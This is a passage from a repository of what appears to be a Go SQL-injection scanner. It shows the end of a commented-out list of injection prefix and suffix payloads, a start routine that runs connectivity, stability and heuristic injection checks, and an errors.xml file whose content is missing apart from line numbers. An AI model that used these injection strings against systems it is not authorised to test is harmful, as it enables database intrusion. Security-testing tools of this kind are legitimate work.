`[ORIGINAL]`=`[ORIGINAL]'}, 258 | // 259 | //'pre_suf_75': {'prefix': '"="[ORIGINAL]"', 260 | //'suffix': ' AND "[ORIGINAL]"="[ORIGINAL]'}, 261 | // 262 | //'pre_suf_76': {'prefix': ']-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]', 263 | //'suffix': ')|[[ORIGINAL]'}, 264 | // 265 | //'pre_suf_77': {'prefix': "' IN BOOLEAN MODE)", 266 | //'suffix': '#'} 267 | //} 268 | -------------------------------------------------------------------------------- /tools/start.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | func start(conf *ReqConf) { 4 | // 连接性检查,初始化result 5 | isConnect, err := checkConnect(conf) 6 | if isConnect == false || err != nil { 7 | return 8 | } 9 | // 稳定性检查,更新result 10 | isStability, err := checkStability(conf) 11 | if isStability == false || err != nil { 12 | return 13 | } 14 | // 启发式sql注入检测 15 | injParam, dbms, err := heuristicCheckSqlInjection(conf) 16 | if err != nil{ 17 | Error.Println(err) 18 | } 19 | Info.Println(injParam, dbms) 20 | } 21 | 22 | 23 | -------------------------------------------------------------------------------- /tools/xml/errors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | --------------------------------------------------------------------------------